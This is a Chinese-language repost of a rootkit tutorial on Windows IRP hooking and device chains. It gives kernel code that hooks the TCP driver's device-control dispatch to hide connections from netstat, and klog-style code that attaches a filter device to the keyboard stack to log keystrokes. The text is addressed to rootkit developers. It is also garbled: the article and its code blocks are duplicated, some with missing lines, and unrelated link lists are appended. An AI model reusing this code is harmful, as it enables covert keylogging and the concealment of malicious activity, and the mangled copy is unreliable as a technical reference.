IRP hooking and Device Chains
来源:互联网 发布:女性脂溢性脱发知乎 编辑:程序博客网 时间:2024/04/30 20:30
原文作者:hoglund
原文标题:IRP hooking and Device Chains
电子邮件:
我想在文章中带给大家一些新的内容,于是锤炼了这篇文章送给大家。
IRP hooking 是一种常用的rootkit技术。主要有两种方法来实现它,一种利用IRPs – hooking函数指针,另一种是注册为一个附加设备(有时叫做“过滤驱动”)。第一种方法相当简直接,你简单地hook "Major Function" 或 "Dispatch"这两个IRP处理函数即可,他们是DRIVER_OBJECT结构中的一组回调函数。
IRP回调函数(也叫驱动处理例程)仅用于当驱动被注册为一个设备的时候。IRP的处理操作是在IO管理器来处理的。许多rootkit不注册任何设备,也就不需要任何处理例程了。在驱动入口上,这些指针会被默认置为0。如果你不填充它们,就会直接跳转到内核中一个默认的句柄,作为对完成IRP的一种保护。一个rootkit能够hook那些默认句柄来捕获许多流控制权。
有许多基本的IRP处理例程是每个合法驱动应该实现的。例如,当有人打开一个驱动句柄或是与任何被驱动创建的设备对象交互时,下面的任何例程都可能被使用:
IRP函数hook容易使用,但不易被检测。我不能确信有多少桌面防火墙试图使这些指针表无效,但能够直接列举它们,检查它们指向的特有的驱动,等。但是,它们仍然很强大。下面的代码hook了windows的TCP驱动的设备IOCTL的回调函数。像下面那样使用hook能让你从netstat工具中隐藏TCP会话。
因为IRP处理对驱动来说是如此的特殊,所以这仍是一个巨大的未被开发的领域。记得,当SSDT hook第一次出现的时候,有多少人都跟随着创新出新的方法来hook不同的系统调用?好的,每个驱动除了经由IRP Handler 实现,就像它拥有的系统调用的外表。
第二种hook IRP的方法根本与hook函数无关,只是使用了公开的方法。每个驱动都有0到多个注册设备。一个设备只能有一个父驱动,但一个驱动能注册多个子设备。反过来,在系统范围里任意位置的驱动被链接在一起,如此在多个设备和他们的多个父驱动之间产生 父-子关系。作为一个rootkit开发者,你能附加到任何存在的设备或设备链当中,因此你的rootkit 所拥有的IRP处理回调函数将有机会截取在设备链中传递的IRP头。
应该被提醒的是,“chain”这个词在有些文字里有点易被误解,像它可能在与驱动拥有的设备集合中('*NextDevice'指针)有关,也有可能与一系列附加到另一个的设备(被 ‘*AttachedDevice’ 指针处理)有关。这个术语“chain”暗指沿着链的串接对象的概念。为了hook IRP链,你需要用完全不同的指针,就是'*AttachedDevice'指针。这些附加设备有时也被看作链,通常导致一些在设备对象上的混淆。让我们对比这两种指针,来消除困惑。
所有被单个驱动创建的设备对象是被保存在由 '*NextDevice'指针所指的位置,但附加设备没有要做的。进一步说,没有东西被通过设备列表传送。'*NextDevice'指针的目的是让IO管理器能列举一个驱动所拥有的所有设备。一个驱动也可能用这个列表去枚举所有他自己的设备,例如一个音频驱动可能设置初始化期间所有附加声音设备的音量。‘*NextDevice’指针和设备集合不被用于IRP处理,于是真的不必做许多关于IRP HOOK。
作为一个rootkit开发者,你可能像实验插入木马DEVICE_OBJECT到'*NextDevice'列表里。这可能改变拥有这些设备集合的驱动的效果。
附加是个不同的东西。设备附加是通过另一个被叫做'*AttachedDevice'的指针处理的。被 '*AttachedDevice'保持的设备列表示完全分离的,与'*NextDevice'列表无关。被附加的设备通过将其置于已存设备的最高层来实现过滤驱动-想想键盘hooker之类的klog rootkit吧。因此,当一个rootkit开发者意图hook一个“设备链”时,他们通常是说附加设备链和更多具体的,使用一个像IoAttachDevice的API调用去放置一个过滤驱动在这个链中。
都 知道,当你请求附加时,IoAttachDevice 不能保证你最终会附加到那个设备。IoAttachDevice预期一个设备名(就说"//Device//Tcp"吧),但在内部将要决定一个现实的要被附加给你的设备。如果有一个挂载的文件系统卷入,真的设备对象会被忽略并且文件系统的设备对象可能被用来代替。当然,如果一个目的设备对象已经有一个附加设备,然后他将遍历到所能到达的附加设备链的最顶部。(再次说明,请记住这个附加设备链是不同于”NextDevice“链)。在这个回朔过程,任何像上面提到的文件系统那样有着特殊考虑的设备对象,将在那个点停止回朔并返回相切的设备。因此,IoAttachDevice的第三个参数是一个指针,当你最后附加是它初始化为一个真实的设备。这个附加的实际目标,是一个DEVICE_OBJECT结构,有一个'*AttachedDevice'指针,将被初始化指向到你的源DEVICE_OBJECT。你能枚举这些并遍历这个指针链,如果你想做个家庭作业的话。从一个侧面说,你旦尼像这样附加,目的设备的相关的驱动不能再被卸载(除非你先解除附加)。下面是klog rootkit中使用IoAttachDevice的一段代码:
一旦IoAttachDevice成功调用,你的驱动将截取目标设备的所有IRP头。你的驱动将比目标驱动先获得IRP。在klog rootkit的示例中,唯一感兴趣的句柄是READ,它能从底层设备抓取键击符。一旦每次读取完毕,这个键击能被捕获并记录。当然,你不必用公开函数去附加到链中,你能直接修改DEVICE_OBJECT结构趋获得这个结果。
我希望这能对一些读者在IRP Hook上一点提示。
-Greg
原文标题:IRP hooking and Device Chains
电子邮件:
我想在文章中带给大家一些新的内容,于是锤炼了这篇文章送给大家。
IRP hooking 是一种常用的rootkit技术。主要有两种方法来实现它,一种利用IRPs – hooking函数指针,另一种是注册为一个附加设备(有时叫做“过滤驱动”)。第一种方法相当简直接,你简单地hook "Major Function" 或 "Dispatch"这两个IRP处理函数即可,他们是DRIVER_OBJECT结构中的一组回调函数。
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
struct _FAST_IO_DISPATCH *FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; <----
} DRIVER_OBJECT;
typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
struct _FAST_IO_DISPATCH *FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; <----
} DRIVER_OBJECT;
typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;
IRP回调函数(也叫驱动处理例程)仅用于当驱动被注册为一个设备的时候。IRP的处理操作是在IO管理器来处理的。许多rootkit不注册任何设备,也就不需要任何处理例程了。在驱动入口上,这些指针会被默认置为0。如果你不填充它们,就会直接跳转到内核中一个默认的句柄,作为对完成IRP的一种保护。一个rootkit能够hook那些默认句柄来捕获许多流控制权。
有许多基本的IRP处理例程是每个合法驱动应该实现的。例如,当有人打开一个驱动句柄或是与任何被驱动创建的设备对象交互时,下面的任何例程都可能被使用:
#define IRP_MJ_CREATE 0x00
#define IRP_MJ_CREATE_NAMED_PIPE 0x01
#define IRP_MJ_CLOSE 0x02
#define IRP_MJ_READ 0x03
#define IRP_MJ_WRITE 0x04
#define IRP_MJ_QUERY_INFORMATION 0x05
#define IRP_MJ_SET_INFORMATION 0x06
#define IRP_MJ_QUERY_EA 0x07
#define IRP_MJ_SET_EA 0x08
#define IRP_MJ_FLUSH_BUFFERS 0x09
#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a
#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b
#define IRP_MJ_DIRECTORY_CONTROL 0x0c
#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d
#define IRP_MJ_DEVICE_CONTROL 0x0e
#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f
#define IRP_MJ_SCSI 0x0f
#define IRP_MJ_SHUTDOWN 0x10
#define IRP_MJ_LOCK_CONTROL 0x11
#define IRP_MJ_CLEANUP 0x12
#define IRP_MJ_CREATE_MAILSLOT 0x13
#define IRP_MJ_QUERY_SECURITY 0x14
#define IRP_MJ_SET_SECURITY 0x15
#define IRP_MJ_POWER 0x16
#define IRP_MJ_SYSTEM_CONTROL 0x17
#define IRP_MJ_DEVICE_CHANGE 0x18
#define IRP_MJ_QUERY_QUOTA 0x19
#define IRP_MJ_SET_QUOTA 0x1a
#define IRP_MJ_PNP 0x1b
#define IRP_MJ_PNP_POWER 0x1b
#define IRP_MJ_MAXIMUM_FUNCTION 0x1b
#define IRP_MJ_CREATE_NAMED_PIPE 0x01
#define IRP_MJ_CLOSE 0x02
#define IRP_MJ_READ 0x03
#define IRP_MJ_WRITE 0x04
#define IRP_MJ_QUERY_INFORMATION 0x05
#define IRP_MJ_SET_INFORMATION 0x06
#define IRP_MJ_QUERY_EA 0x07
#define IRP_MJ_SET_EA 0x08
#define IRP_MJ_FLUSH_BUFFERS 0x09
#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a
#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b
#define IRP_MJ_DIRECTORY_CONTROL 0x0c
#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d
#define IRP_MJ_DEVICE_CONTROL 0x0e
#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f
#define IRP_MJ_SCSI 0x0f
#define IRP_MJ_SHUTDOWN 0x10
#define IRP_MJ_LOCK_CONTROL 0x11
#define IRP_MJ_CLEANUP 0x12
#define IRP_MJ_CREATE_MAILSLOT 0x13
#define IRP_MJ_QUERY_SECURITY 0x14
#define IRP_MJ_SET_SECURITY 0x15
#define IRP_MJ_POWER 0x16
#define IRP_MJ_SYSTEM_CONTROL 0x17
#define IRP_MJ_DEVICE_CHANGE 0x18
#define IRP_MJ_QUERY_QUOTA 0x19
#define IRP_MJ_SET_QUOTA 0x1a
#define IRP_MJ_PNP 0x1b
#define IRP_MJ_PNP_POWER 0x1b
#define IRP_MJ_MAXIMUM_FUNCTION 0x1b
IRP函数hook容易使用,但不易被检测。我不能确信有多少桌面防火墙试图使这些指针表无效,但能够直接列举它们,检查它们指向的特有的驱动,等。但是,它们仍然很强大。下面的代码hook了windows的TCP驱动的设备IOCTL的回调函数。像下面那样使用hook能让你从netstat工具中隐藏TCP会话。
NTSTATUS InstallTCPDriverHook()
{
NTSTATUS ntStatus;
UNICODE_STRING deviceTCPUnicodeString;
WCHAR deviceTCPNameBuffer[] = L"/Device/Tcp";
pFile_tcp = NULL;
pDev_tcp = NULL;
pDrv_tcpip = NULL;
RtlInitUnicodeString (
&deviceTCPUnicodeString, deviceTCPNameBuffer);
ntStatus = IoGetDeviceObjectPointer(
&deviceTCPUnicodeString,
FILE_READ_DATA,
&pFile_tcp,
&pDev_tcp);
if(!NT_SUCCESS(ntStatus))
return ntStatus;
pDrv_tcpip = pDev_tcp->DriverObject;
OldIrpMjDeviceControl =
pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
if (OldIrpMjDeviceControl)
InterlockedExchange (
(PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL],
(LONG)HookedDeviceControl);
return STATUS_SUCCESS;
}
{
NTSTATUS ntStatus;
UNICODE_STRING deviceTCPUnicodeString;
WCHAR deviceTCPNameBuffer[] = L"/Device/Tcp";
pFile_tcp = NULL;
pDev_tcp = NULL;
pDrv_tcpip = NULL;
RtlInitUnicodeString (
&deviceTCPUnicodeString, deviceTCPNameBuffer);
ntStatus = IoGetDeviceObjectPointer(
&deviceTCPUnicodeString,
FILE_READ_DATA,
&pFile_tcp,
&pDev_tcp);
if(!NT_SUCCESS(ntStatus))
return ntStatus;
pDrv_tcpip = pDev_tcp->DriverObject;
OldIrpMjDeviceControl =
pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
if (OldIrpMjDeviceControl)
InterlockedExchange (
(PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL],
(LONG)HookedDeviceControl);
return STATUS_SUCCESS;
}
因为IRP处理对驱动来说是如此的特殊,所以这仍是一个巨大的未被开发的领域。记得,当SSDT hook第一次出现的时候,有多少人都跟随着创新出新的方法来hook不同的系统调用?好的,每个驱动除了经由IRP Handler 实现,就像它拥有的系统调用的外表。
第二种hook IRP的方法根本与hook函数无关,只是使用了公开的方法。每个驱动都有0到多个注册设备。一个设备只能有一个父驱动,但一个驱动能注册多个子设备。反过来,在系统范围里任意位置的驱动被链接在一起,如此在多个设备和他们的多个父驱动之间产生 父-子关系。作为一个rootkit开发者,你能附加到任何存在的设备或设备链当中,因此你的rootkit 所拥有的IRP处理回调函数将有机会截取在设备链中传递的IRP头。
应该被提醒的是,“chain”这个词在有些文字里有点易被误解,像它可能在与驱动拥有的设备集合中('*NextDevice'指针)有关,也有可能与一系列附加到另一个的设备(被 ‘*AttachedDevice’ 指针处理)有关。这个术语“chain”暗指沿着链的串接对象的概念。为了hook IRP链,你需要用完全不同的指针,就是'*AttachedDevice'指针。这些附加设备有时也被看作链,通常导致一些在设备对象上的混淆。让我们对比这两种指针,来消除困惑。
typedef struct _DEVICE_OBJECT {
CSHORT Type;
USHORT Size;
LONG ReferenceCount;
struct _DRIVER_OBJECT *DriverObject;
struct _DEVICE_OBJECT *NextDevice;
struct _DEVICE_OBJECT *AttachedDevice;
struct _IRP *CurrentIrp;
PIO_TIMER Timer;
ULONG Flags;
ULONG Characteristics;
volatile PVPB Vpb;
PVOID DeviceExtension;
DEVICE_TYPE DeviceType;
CCHAR StackSize;
union {
LIST_ENTRY ListEntry;
WAIT_CONTEXT_BLOCK Wcb;
} Queue;
ULONG AlignmentRequirement;
KDEVICE_QUEUE DeviceQueue;
KDPC Dpc;
ULONG ActiveThreadCount;
PSECURITY_DESCRIPTOR SecurityDescriptor;
KEVENT DeviceLock;
USHORT SectorSize;
USHORT Spare1;
struct _DEVOBJ_EXTENSION *DeviceObjectExtension;
PVOID Reserved;
} DEVICE_OBJECT, *PDEVICE_OBJECT;
CSHORT Type;
USHORT Size;
LONG ReferenceCount;
struct _DRIVER_OBJECT *DriverObject;
struct _DEVICE_OBJECT *NextDevice;
struct _DEVICE_OBJECT *AttachedDevice;
struct _IRP *CurrentIrp;
PIO_TIMER Timer;
ULONG Flags;
ULONG Characteristics;
volatile PVPB Vpb;
PVOID DeviceExtension;
DEVICE_TYPE DeviceType;
CCHAR StackSize;
union {
LIST_ENTRY ListEntry;
WAIT_CONTEXT_BLOCK Wcb;
} Queue;
ULONG AlignmentRequirement;
KDEVICE_QUEUE DeviceQueue;
KDPC Dpc;
ULONG ActiveThreadCount;
PSECURITY_DESCRIPTOR SecurityDescriptor;
KEVENT DeviceLock;
USHORT SectorSize;
USHORT Spare1;
struct _DEVOBJ_EXTENSION *DeviceObjectExtension;
PVOID Reserved;
} DEVICE_OBJECT, *PDEVICE_OBJECT;
所有被单个驱动创建的设备对象是被保存在由 '*NextDevice'指针所指的位置,但附加设备没有要做的。进一步说,没有东西被通过设备列表传送。'*NextDevice'指针的目的是让IO管理器能列举一个驱动所拥有的所有设备。一个驱动也可能用这个列表去枚举所有他自己的设备,例如一个音频驱动可能设置初始化期间所有附加声音设备的音量。‘*NextDevice’指针和设备集合不被用于IRP处理,于是真的不必做许多关于IRP HOOK。
作为一个rootkit开发者,你可能像实验插入木马DEVICE_OBJECT到'*NextDevice'列表里。这可能改变拥有这些设备集合的驱动的效果。
附加是个不同的东西。设备附加是通过另一个被叫做'*AttachedDevice'的指针处理的。被 '*AttachedDevice'保持的设备列表示完全分离的,与'*NextDevice'列表无关。被附加的设备通过将其置于已存设备的最高层来实现过滤驱动-想想键盘hooker之类的klog rootkit吧。因此,当一个rootkit开发者意图hook一个“设备链”时,他们通常是说附加设备链和更多具体的,使用一个像IoAttachDevice的API调用去放置一个过滤驱动在这个链中。
都 知道,当你请求附加时,IoAttachDevice 不能保证你最终会附加到那个设备。IoAttachDevice预期一个设备名(就说"//Device//Tcp"吧),但在内部将要决定一个现实的要被附加给你的设备。如果有一个挂载的文件系统卷入,真的设备对象会被忽略并且文件系统的设备对象可能被用来代替。当然,如果一个目的设备对象已经有一个附加设备,然后他将遍历到所能到达的附加设备链的最顶部。(再次说明,请记住这个附加设备链是不同于”NextDevice“链)。在这个回朔过程,任何像上面提到的文件系统那样有着特殊考虑的设备对象,将在那个点停止回朔并返回相切的设备。因此,IoAttachDevice的第三个参数是一个指针,当你最后附加是它初始化为一个真实的设备。这个附加的实际目标,是一个DEVICE_OBJECT结构,有一个'*AttachedDevice'指针,将被初始化指向到你的源DEVICE_OBJECT。你能枚举这些并遍历这个指针链,如果你想做个家庭作业的话。从一个侧面说,你旦尼像这样附加,目的设备的相关的驱动不能再被卸载(除非你先解除附加)。下面是klog rootkit中使用IoAttachDevice的一段代码:
//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
// __asm int 3;
DbgPrint("Entering Hook Routine... ");
//the filter device object
PDEVICE_OBJECT pKeyboardDeviceObject;
//Create a keyboard device object
NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, //no name
FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);
//Make sure the device was created ok
if(!NT_SUCCESS(status))
return status;
DbgPrint("Created keyboard device successfully... ");
//////////////////////////////////////////////////////////////////////////////////
//Copy the characteristics of the target keyboard driver into the filter device
//object because we have to mirror the keyboard device underneath us.
//These characteristics can be determined by examining the target driver using an
//application like DeviceTree in the DDK
//////////////////////////////////////////////////////////////////////////////////
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
DbgPrint("Flags set succesfully... ");
//////////////////////////////////////////////////////////////////////////////////////////////
//Initialize the device extension - The device extension is a custom defined data structure
//for our driver where we can store information which is guaranteed to exist in nonpaged memory.
///////////////////////////////////////////////////////////////////////////////////////////////
RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
DbgPrint("Device Extension Initialized... ");
//Get the pointer to the device extension
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
//////////////////////////////////////////////////////////////////////////////////////////////
//Insert the filter driver onto the device stack above the target keyboard driver underneath and
//save the old pointer to the top of the stack. We need this address to direct IRPS to the drivers
//underneath us on the stack.
///////////////////////////////////////////////////////////////////////////////////////////////
CCHAR ntNameBuffer[64] = "/Device/KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
RtlInitAnsiString( &ntNameString, ntNameBuffer );
RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );
IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName);
DbgPrint("Filter Device Attached Successfully... ");
return STATUS_SUCCESS;
}//end HookKeyboard
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
// __asm int 3;
DbgPrint("Entering Hook Routine... ");
//the filter device object
PDEVICE_OBJECT pKeyboardDeviceObject;
//Create a keyboard device object
NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, //no name
FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);
//Make sure the device was created ok
if(!NT_SUCCESS(status))
return status;
DbgPrint("Created keyboard device successfully... ");
//////////////////////////////////////////////////////////////////////////////////
//Copy the characteristics of the target keyboard driver into the filter device
//object because we have to mirror the keyboard device underneath us.
//These characteristics can be determined by examining the target driver using an
//application like DeviceTree in the DDK
//////////////////////////////////////////////////////////////////////////////////
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
DbgPrint("Flags set succesfully... ");
//////////////////////////////////////////////////////////////////////////////////////////////
//Initialize the device extension - The device extension is a custom defined data structure
//for our driver where we can store information which is guaranteed to exist in nonpaged memory.
///////////////////////////////////////////////////////////////////////////////////////////////
RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
DbgPrint("Device Extension Initialized... ");
//Get the pointer to the device extension
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
//////////////////////////////////////////////////////////////////////////////////////////////
//Insert the filter driver onto the device stack above the target keyboard driver underneath and
//save the old pointer to the top of the stack. We need this address to direct IRPS to the drivers
//underneath us on the stack.
///////////////////////////////////////////////////////////////////////////////////////////////
CCHAR ntNameBuffer[64] = "/Device/KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
RtlInitAnsiString( &ntNameString, ntNameBuffer );
RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );
IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName);
DbgPrint("Filter Device Attached Successfully... ");
return STATUS_SUCCESS;
}//end HookKeyboard
一旦IoAttachDevice成功调用,你的驱动将截取目标设备的所有IRP头。你的驱动将比目标驱动先获得IRP。在klog rootkit的示例中,唯一感兴趣的句柄是READ,它能从底层设备抓取键击符。一旦每次读取完毕,这个键击能被捕获并记录。当然,你不必用公开函数去附加到链中,你能直接修改DEVICE_OBJECT结构趋获得这个结果。
我希望这能对一些读者在IRP Hook上一点提示。
-Greg
- IRP hooking and Device Chains
- IRP hooking and Device Chains
- Understand IRP ,Driver Object and Device Object
- Hooking into NDIS and TDI
- IRP Dispatching and Handling
- Hooking into NDIS and TDI, part 1
- NDIS and TDI Hooking, Part II
- NDIS and TDI Hooking, Part II
- Hooking into NDIS and TDI-part 1
- NDIS and TDI Hooking, Part II
- NDIS and TDI Hooking, Part II
- Hooking into NDIS and TDI-part 1
- 图解iptables:chains and tables
- IRP
- irp
- IRP
- IRP
- IRP
- 组图:二手新房卖到2800万 杨思敏要悄悄订婚
- 杨思敏代言展示其嫩滑肌肤
- 杨思敏代言化妆品牌 12-23
- 杨思敏嫩滑肌肤代言 低领紧身衣抢尽眼球
- 重新拿起WIN MOBILE
- IRP hooking and Device Chains
- 杨思敏代言冬季保湿化妆品..
- 张曼玉 杨思敏 陈慧琳等众多明星成为亚洲交友代言人
- 一段流量分析工具代码
- F1入门 专业术语之必读
- Flex实践—Simple Copy Panel
- linux命令之procinfo
- s.h.e.抢钱有术 一年海削3亿
- diy公益拍卖会 杨宗纬吴尊林俊杰s.h.e等拼人气